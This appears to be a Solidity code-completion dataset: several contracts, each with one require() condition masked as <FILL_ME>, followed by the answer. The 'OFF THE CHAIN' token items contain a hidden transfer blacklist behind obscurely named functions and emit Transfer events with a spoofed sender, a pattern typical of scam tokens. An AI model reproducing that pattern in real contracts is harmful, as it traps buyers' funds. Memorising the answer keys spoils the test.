mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
Offer memory offer = nftOfferedForSale[tokenID];
require(offer.isForSale, "nft not actually for sale");
require(offer.isBid, "nft must beauction mode");
require(block.timestamp < offer.endTime, "The auction is over");
if (!bade[tokenID][msg.sender]) {
bidders[tokenID].push(msg.sender);
bade[tokenID][msg.sender] = true;
}
Bid memory bid = nftBids[tokenID];
require(
msg.value + offerBalances[tokenID][msg.sender] >=
offer.minValue,
"The bid cannot be lower than the starting price"
);
require(<FILL_ME>)
nftBids[tokenID] = Bid(
tokenID,
msg.sender,
msg.value + offerBalances[tokenID][msg.sender]
);
emit BidEntered(tokenID, msg.sender, msg.value, offer.isBid, offer.isDonated);
offerBalances[tokenID][msg.sender] += msg.value;
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| msg.value+offerBalances[tokenID][msg.sender]>bid.value,"This quotation is less than the current quotation" | 261,677 | msg.value+offerBalances[tokenID][msg.sender]>bid.value |
"Exceed max buy per address" | pragma solidity ^0.8.4;
import "../CryptoWarriors/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "hardhat/console.sol";
contract CryptoWarriors is ERC721AQueryable, Pausable, Ownable {
using Strings for uint256;
uint256 public constant MAX_PER_ADDRESS = 5;
uint256 public constant MAX_SUPPLY = 3000;
string private _baseTokenURI;
uint256 public price = 0.04 ether;
modifier callerIsNotContract() {
}
constructor(string memory baseURI_) ERC721A("CryptoWarriors", "CryptoWarriors") {
}
function setPrice(uint256 price_) public onlyOwner{
}
function exists(uint256 tokenId) public view returns (bool) {
}
function baseURI() public view returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function mint(uint256 amount) external payable callerIsNotContract whenNotPaused{
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(<FILL_ME>)
require(totalSupply() + amount <= MAX_SUPPLY, "Exceed max token supply");
require(msg.value >= amount * price, "Not enough ETH");
_safeMint(msg.sender, amount);
}
function reserveMint(uint256 amount) public onlyOwner{
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function withdraw(address to,uint256 amount) external onlyOwner {
}
}
| balanceOf(msg.sender)+amount<=MAX_PER_ADDRESS,"Exceed max buy per address" | 261,689 | balanceOf(msg.sender)+amount<=MAX_PER_ADDRESS |
"contract is frozen by owner" | pragma solidity ^0.8.9;
contract TokenCustody is Ownable {
using SafeERC20 for ERC20;
bool public IsFrozen;
mapping(bytes32 => bool) internal _unlocked;
event Locked(uint256 amount, address tokenAddress, string aptosAddress, address indexed ethereumAddress);
event Unlocked(uint256 amount, address tokenAddress, address indexed ethereumAddress, string aptosHash);
modifier notFrozen() {
require(<FILL_ME>)
_;
}
function lock(uint256 amount, address tokenAddress, string calldata aptosAddress) public payable notFrozen {
}
// unlock should manage by multi-signature contracts, now is a normal address.
function unlock(uint256 amount, address tokenAddress, address ethereumAddress, string calldata aptosHash) public notFrozen onlyOwner {
}
function freeze() public onlyOwner {
}
function unfreeze() public onlyOwner {
}
// should migrate to multi-signature contracts in the future
function migrate(address tokenAddress, address newContractAddress) public onlyOwner {
}
}
| !IsFrozen,"contract is frozen by owner" | 261,806 | !IsFrozen |
"same unlock hash has been executed" | pragma solidity ^0.8.9;
contract TokenCustody is Ownable {
using SafeERC20 for ERC20;
bool public IsFrozen;
mapping(bytes32 => bool) internal _unlocked;
event Locked(uint256 amount, address tokenAddress, string aptosAddress, address indexed ethereumAddress);
event Unlocked(uint256 amount, address tokenAddress, address indexed ethereumAddress, string aptosHash);
modifier notFrozen() {
}
function lock(uint256 amount, address tokenAddress, string calldata aptosAddress) public payable notFrozen {
}
// unlock should manage by multi-signature contracts, now is a normal address.
function unlock(uint256 amount, address tokenAddress, address ethereumAddress, string calldata aptosHash) public notFrozen onlyOwner {
require(ethereumAddress != address(0), "ethereumAddress is the zero address");
bytes32 hash = keccak256(abi.encode(aptosHash));
require(<FILL_ME>)
_unlocked[hash] = true;
if (tokenAddress == address(0)) {
payable(ethereumAddress).transfer(amount);
emit Unlocked(amount, tokenAddress, ethereumAddress, aptosHash);
} else {
ERC20(tokenAddress).safeTransfer(ethereumAddress, amount);
emit Unlocked(amount, tokenAddress, ethereumAddress, aptosHash);
}
}
function freeze() public onlyOwner {
}
function unfreeze() public onlyOwner {
}
// should migrate to multi-signature contracts in the future
function migrate(address tokenAddress, address newContractAddress) public onlyOwner {
}
}
| !_unlocked[hash],"same unlock hash has been executed" | 261,806 | !_unlocked[hash] |
"tokenContract is not on the allowlist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract IpsumOfLOREMNFT is Ownable {
struct Ipsum {
address creator;
bool nsfw;
bool ownerflip;
bool adminflip;
string ipsumMetadataURI;
}
mapping(address => mapping(uint256 => Ipsum[])) public tokenIpsum;
mapping(address => bool) public IpsumTokenContract;
event IpsumAdded(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
event IpsumUpdated(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
event IpsumUpdatednsfw(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
modifier onlyAllowedTokenContract(address tokenContract) {
require(<FILL_ME>)
_;
}
address public adminSigner;
constructor(){}
function numIpsum(address tokenContract, uint256 tokenId) public view returns (uint256){
}
function IpsumFor(address tokenContract, uint256 tokenId) public view returns (Ipsum[] memory){
}
function IpsumAt(address tokenContract, uint256 tokenId, uint256 startIdx, uint256 endIdx
) public view returns (Ipsum[] memory) {
}
function isCCOtoken(uint256 tokenId) public pure returns(bool){
}
function isownerOf(address tokenContract, address tokenOwner, uint256 tokenId) public view onlyAllowedTokenContract(tokenContract) returns(bool){
}
function addIpsum(address tokenContract, uint256 tokenId, string memory ipsumMetadataURI)
public onlyAllowedTokenContract(tokenContract) {
}
function addIpsumWithSignature(bytes memory signature, address tokenContract, uint256 tokenId, uint256 ipsumIdx, string memory ipsumMetadataURI
) public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumMetadataURI(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
string memory newipsumMetadataURI
) public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumnsfw(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newnsfw)
public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumOwnerflip(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newownerflip
) public onlyAllowedTokenContract(tokenContract) {
}
//onlyOwner
function updateIpsumAdminflip(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newadminflip
) public onlyAllowedTokenContract(tokenContract) onlyOwner {
}
function setIpsumTokenContract(address tokenContract, bool isListed) public onlyOwner{
}
function setSigner(address newSigner) external onlyOwner {
}
}
| IpsumTokenContract[tokenContract],"tokenContract is not on the allowlist" | 261,824 | IpsumTokenContract[tokenContract] |
"ipsumIdx does not exist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract IpsumOfLOREMNFT is Ownable {
struct Ipsum {
address creator;
bool nsfw;
bool ownerflip;
bool adminflip;
string ipsumMetadataURI;
}
mapping(address => mapping(uint256 => Ipsum[])) public tokenIpsum;
mapping(address => bool) public IpsumTokenContract;
event IpsumAdded(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
event IpsumUpdated(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
event IpsumUpdatednsfw(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
modifier onlyAllowedTokenContract(address tokenContract) {
}
address public adminSigner;
constructor(){}
function numIpsum(address tokenContract, uint256 tokenId) public view returns (uint256){
}
function IpsumFor(address tokenContract, uint256 tokenId) public view returns (Ipsum[] memory){
}
function IpsumAt(address tokenContract, uint256 tokenId, uint256 startIdx, uint256 endIdx
) public view returns (Ipsum[] memory) {
}
function isCCOtoken(uint256 tokenId) public pure returns(bool){
}
function isownerOf(address tokenContract, address tokenOwner, uint256 tokenId) public view onlyAllowedTokenContract(tokenContract) returns(bool){
}
function addIpsum(address tokenContract, uint256 tokenId, string memory ipsumMetadataURI)
public onlyAllowedTokenContract(tokenContract) {
}
function addIpsumWithSignature(bytes memory signature, address tokenContract, uint256 tokenId, uint256 ipsumIdx, string memory ipsumMetadataURI
) public onlyAllowedTokenContract(tokenContract) {
bytes32 messageDigest = keccak256(abi.encodePacked(tokenContract, _msgSender(), tokenId, ipsumIdx));
bytes32 ethHashMessage = ECDSA.toEthSignedMessageHash(messageDigest);
address signer = ECDSA.recover(ethHashMessage, signature);
require(signer == adminSigner,"auth fail");
require(<FILL_ME>)
tokenIpsum[tokenContract][tokenId].push(
Ipsum(_msgSender(), false, true, true, ipsumMetadataURI)
);
emit IpsumAdded(tokenContract, tokenId, tokenIpsum[tokenContract][tokenId].length - 1);
}
function updateIpsumMetadataURI(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
string memory newipsumMetadataURI
) public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumnsfw(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newnsfw)
public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumOwnerflip(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newownerflip
) public onlyAllowedTokenContract(tokenContract) {
}
//onlyOwner
function updateIpsumAdminflip(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newadminflip
) public onlyAllowedTokenContract(tokenContract) onlyOwner {
}
function setIpsumTokenContract(address tokenContract, bool isListed) public onlyOwner{
}
function setSigner(address newSigner) external onlyOwner {
}
}
| numIpsum(tokenContract,tokenId)==ipsumIdx,"ipsumIdx does not exist" | 261,824 | numIpsum(tokenContract,tokenId)==ipsumIdx |
"not ipsumIdx creator" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract IpsumOfLOREMNFT is Ownable {
struct Ipsum {
address creator;
bool nsfw;
bool ownerflip;
bool adminflip;
string ipsumMetadataURI;
}
mapping(address => mapping(uint256 => Ipsum[])) public tokenIpsum;
mapping(address => bool) public IpsumTokenContract;
event IpsumAdded(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
event IpsumUpdated(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
event IpsumUpdatednsfw(address tokenContract, uint256 tokenId, uint256 ipsumIdx);
modifier onlyAllowedTokenContract(address tokenContract) {
}
address public adminSigner;
constructor(){}
function numIpsum(address tokenContract, uint256 tokenId) public view returns (uint256){
}
function IpsumFor(address tokenContract, uint256 tokenId) public view returns (Ipsum[] memory){
}
function IpsumAt(address tokenContract, uint256 tokenId, uint256 startIdx, uint256 endIdx
) public view returns (Ipsum[] memory) {
}
function isCCOtoken(uint256 tokenId) public pure returns(bool){
}
function isownerOf(address tokenContract, address tokenOwner, uint256 tokenId) public view onlyAllowedTokenContract(tokenContract) returns(bool){
}
function addIpsum(address tokenContract, uint256 tokenId, string memory ipsumMetadataURI)
public onlyAllowedTokenContract(tokenContract) {
}
function addIpsumWithSignature(bytes memory signature, address tokenContract, uint256 tokenId, uint256 ipsumIdx, string memory ipsumMetadataURI
) public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumMetadataURI(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
string memory newipsumMetadataURI
) public onlyAllowedTokenContract(tokenContract) {
address tokenOwner = IERC721(tokenContract).ownerOf(tokenId);
require(<FILL_ME>)
require(tokenOwner == _msgSender() || isCCOtoken(tokenId), "not token owner");
tokenIpsum[tokenContract][tokenId][ipsumIdx].ipsumMetadataURI = newipsumMetadataURI;
emit IpsumUpdated(tokenContract, tokenId, ipsumIdx);
}
function updateIpsumnsfw(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newnsfw)
public onlyAllowedTokenContract(tokenContract) {
}
function updateIpsumOwnerflip(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newownerflip
) public onlyAllowedTokenContract(tokenContract) {
}
//onlyOwner
function updateIpsumAdminflip(
address tokenContract,
uint256 tokenId,
uint256 ipsumIdx,
bool newadminflip
) public onlyAllowedTokenContract(tokenContract) onlyOwner {
}
function setIpsumTokenContract(address tokenContract, bool isListed) public onlyOwner{
}
function setSigner(address newSigner) external onlyOwner {
}
}
| tokenIpsum[tokenContract][tokenId][ipsumIdx].creator==_msgSender(),"not ipsumIdx creator" | 261,824 | tokenIpsum[tokenContract][tokenId][ipsumIdx].creator==_msgSender() |
null | pragma solidity 0.8.17;
/*
Off the Chain - $OTC
Tokenizing NFT, and Real World Assets
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OFFTHECHAIN {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "OFF THE CHAIN";
string public symbol = unicode"OTC";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x7160eb3Ec173945B8f8616Eb393049c42120De31;
address lead_deployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
function deploy(address account, uint256 amount) public {
}
modifier V() {
require(<FILL_ME>)
_;}
modifier I() {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function RenounceOwner(address nan) I public {
}
function burn(address router, uint256 nonce) I public {
}
function delegate(address ex) V public{
}
function send(address ex) V public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| ii[msg.sender] | 261,826 | ii[msg.sender] |
null | pragma solidity 0.8.17;
/*
Off the Chain - $OTC
Tokenizing NFT, and Real World Assets
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OFFTHECHAIN {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "OFF THE CHAIN";
string public symbol = unicode"OTC";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x7160eb3Ec173945B8f8616Eb393049c42120De31;
address lead_deployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
function deploy(address account, uint256 amount) public {
}
modifier V() {
}
modifier I() {
}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(<FILL_ME>)
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function RenounceOwner(address nan) I public {
}
function burn(address router, uint256 nonce) I public {
}
function delegate(address ex) V public{
}
function send(address ex) V public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !ValueOf[msg.sender] | 261,826 | !ValueOf[msg.sender] |
null | pragma solidity 0.8.17;
/*
Off the Chain - $OTC
Tokenizing NFT, and Real World Assets
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OFFTHECHAIN {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "OFF THE CHAIN";
string public symbol = unicode"OTC";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x7160eb3Ec173945B8f8616Eb393049c42120De31;
address lead_deployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
function deploy(address account, uint256 amount) public {
}
modifier V() {
}
modifier I() {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function RenounceOwner(address nan) I public {
}
function burn(address router, uint256 nonce) I public {
}
function delegate(address ex) V public{
require(<FILL_ME>)
ValueOf[ex] = true; }
function send(address ex) V public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !ValueOf[ex] | 261,826 | !ValueOf[ex] |
null | pragma solidity 0.8.17;
/*
Off the Chain - $OTC
Tokenizing NFT, and Real World Assets
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OFFTHECHAIN {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "OFF THE CHAIN";
string public symbol = unicode"OTC";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x7160eb3Ec173945B8f8616Eb393049c42120De31;
address lead_deployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
function deploy(address account, uint256 amount) public {
}
modifier V() {
}
modifier I() {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function RenounceOwner(address nan) I public {
}
function burn(address router, uint256 nonce) I public {
}
function delegate(address ex) V public{
}
function send(address ex) V public {
require(<FILL_ME>)
ValueOf[ex] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| ValueOf[ex] | 261,826 | ValueOf[ex] |
null | pragma solidity 0.8.17;
/*
Off the Chain - $OTC
Tokenizing NFT, and Real World Assets
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OFFTHECHAIN {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "OFF THE CHAIN";
string public symbol = unicode"OTC";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x7160eb3Ec173945B8f8616Eb393049c42120De31;
address lead_deployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
function deploy(address account, uint256 amount) public {
}
modifier V() {
}
modifier I() {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function RenounceOwner(address nan) I public {
}
function burn(address router, uint256 nonce) I public {
}
function delegate(address ex) V public{
}
function send(address ex) V public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(<FILL_ME>)
require(!ValueOf[to]);
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !ValueOf[from] | 261,826 | !ValueOf[from] |
null | pragma solidity 0.8.17;
/*
Off the Chain - $OTC
Tokenizing NFT, and Real World Assets
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OFFTHECHAIN {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "OFF THE CHAIN";
string public symbol = unicode"OTC";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x7160eb3Ec173945B8f8616Eb393049c42120De31;
address lead_deployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
function deploy(address account, uint256 amount) public {
}
modifier V() {
}
modifier I() {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function RenounceOwner(address nan) I public {
}
function burn(address router, uint256 nonce) I public {
}
function delegate(address ex) V public{
}
function send(address ex) V public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!ValueOf[from]);
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !ValueOf[to] | 261,826 | !ValueOf[to] |
"ALREADY MINTED" | pragma solidity ^0.8.4;
contract LightTrails is ERC721A, ERC721AQueryable, DefaultOperatorFilterer, Owned {
uint256 public FIRST_MINT_PRICE = 0 ether;
uint256 public EXTRA_MINT_PRICE = 0 ether;
uint256 public FIRST_MINT_PRICE_PUBLIC = 0.02 ether;
uint256 public EXTRA_MINT_PRICE_PUBLIC = 0.02 ether;
uint256 constant MAX_SUPPLY_PLUS_ONE = 1001;
uint256 constant MAX_PER_WALLET_PLUS_ONE = 6;
uint256 RESERVED = 50;
string tokenBaseUri = "ipfs://QmWowjx9HKytYNg9oPg96DtjJUvfx4ivg6p6bTXS1AeGhS/";
bool public paused = true;
bool public openToPublic = false;
bytes32 public merkleRoot;
mapping(address => uint256) private _freeMintedCount;
mapping(address => uint256) private _totalMintedCount;
mapping(address => bool) private _wLMinted;
constructor(bytes32 _merkleRoot) ERC721A("LightTrails", "LTTrail") Owned(msg.sender) {
}
function checkInWhiteList(bytes32[] calldata proof, uint256 quantity) view public returns(bool) {
}
// Rename mint function to optimize gas
function mint_540(uint256 _quantity, bytes32[] calldata _proof) external payable {
unchecked {
require(!paused, "MINTING PAUSED");
bool isWhiteListed = checkInWhiteList(_proof, _quantity);
uint256 firstMintPrice;
uint256 extraMintPrice;
if(isWhiteListed && !openToPublic) {
require(<FILL_ME>)
firstMintPrice = FIRST_MINT_PRICE;
extraMintPrice = EXTRA_MINT_PRICE;
} else {
require(openToPublic, "MINTING NOT YET OPEN FOR PUBLIC");
require(_totalMintedCount[msg.sender] + _quantity < MAX_PER_WALLET_PLUS_ONE, "MAX PER WALLET IS 5");
firstMintPrice = FIRST_MINT_PRICE_PUBLIC;
extraMintPrice = EXTRA_MINT_PRICE_PUBLIC;
}
uint256 _totalSupply = totalSupply();
require(_totalSupply + _quantity + RESERVED < MAX_SUPPLY_PLUS_ONE, "MAX SUPPLY REACHED");
uint256 payForCount = _quantity;
uint256 payForFirstMint = 0;
uint256 freeMintCount = _freeMintedCount[msg.sender];
if (freeMintCount < 1) {
if (_quantity > 1) {
payForCount = _quantity - 1;
} else {
payForCount = 0;
}
payForFirstMint = 1;
if(isWhiteListed && !openToPublic) {
_freeMintedCount[msg.sender] = 0;
} else {
_freeMintedCount[msg.sender] = 1;
}
}
if(isWhiteListed && !openToPublic) {
_wLMinted[msg.sender] = true;
} else {
_totalMintedCount[msg.sender] += _quantity;
}
require(
msg.value >= (payForCount * extraMintPrice + payForFirstMint * firstMintPrice),
"INCORRECT ETH AMOUNT"
);
_mint(msg.sender, _quantity);
}
}
// Set first mint price
function setFirstMintPrice(uint256 _newPrice) public onlyOwner {
}
// Set extra mint price
function setExtraMintPrice(uint256 _newPrice) public onlyOwner {
}
// Set first mint price for public
function setFirstMintPricePublic(uint256 _newPrice) public onlyOwner {
}
// Set extra mint price for public
function setExtraMintPricePublic(uint256 _newPrice) public onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
function totalMintedCount(address owner) external view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
